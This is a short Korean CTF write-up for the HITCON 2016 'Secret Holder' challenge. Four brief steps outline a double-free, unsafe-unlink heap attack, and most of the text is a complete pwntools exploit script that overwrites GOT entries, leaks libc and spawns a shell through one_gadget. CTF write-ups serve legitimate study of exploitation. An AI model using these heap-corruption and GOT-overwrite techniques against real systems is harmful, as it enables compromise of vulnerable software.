CTF write-up

[Hitcon 2016] Secret Holder

youngsouk 2020. 1. 25. 00:34

1. malloc_consolidate()와 double free bug를 이용해 fastbin과 smallbin에 같은 청크가 2번 있게한다.

2. fastbin에 있는거 받아서 안에 fake chunk를 구성하되 다음 청크의 prev_size를 0x20으로 변경

3. 2번에서 받은 청크의 다음 청크를 free -> unlink 호출(prev_inuse가 셋팅안됨)

4. 3번의 unsafe unlink로 bss 영역을 수정할 수 있으므로, big, huge chunk ptr의 값을 수정 -> libc leak, one_gadget 이용

import sys
from pwn import *
if len(sys.argv) != 2:
print "sys.argv[1] = r : remote l : local"
exit()
#context.log_level = 'debug'
if sys.argv[1].strip() == 'l':
p = process('./SecretHolder')
elif sys.argv[1].strip() == 'r':
p = remote('',)
e = ELF('./SecretHolder')
if sys.argv[1].strip() == 'l':
l = e.libc
elif sys.argv[1].strip() == 'r':
l = ELF('./')
pause()
def keep(type, content):
p.recv()
p.send("1")
p.recv()
p.send(str(type))
sleep(0.1)
p.recv()
p.send(str(content))
sleep(0.1)
def wipe(type):
p.recv()
p.send("2")
p.sendafter('3. Huge secret', str(type))
sleep(0.1)
def renew(type, content):
p.recv()
p.send("3")
p.sendafter('3. Huge secret', str(type))
sleep(0.1)
p.recv()
p.send(str(content))
sleep(0.1)
keep(1, 'a')
keep(2, 'a')
wipe(1)
keep(3, 'a') # malloc_consolidate fastbin chunk -> small bin
wipe(1)
smallchunk = 0x6020B0
pay = p64(0) + p64(0x21) # make fake chunk
pay += p64(smallchunk - 0x18) + p64(smallchunk - 0x10)
pay += p64(0x20)
keep(1, pay)
wipe(2) # call unlink
keep(2, 'a')
renew(1, p64(1) + p64(e.got['free'])) # big chunk -> free@got
renew(2, p64(e.plt['puts'])) # free@got -> puts@plt
renew(1, p64(1) + p64(e.got['puts']) * 2) # big, huge chunk -> puts@got
wipe(2) # puts(puts@got)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - l.sym['puts']
log.info("libc : " + hex(libc))
renew(3, p64(libc + 0x4526a))
p.interactive()
view raw SecretHolder.py hosted with ❤ by GitHub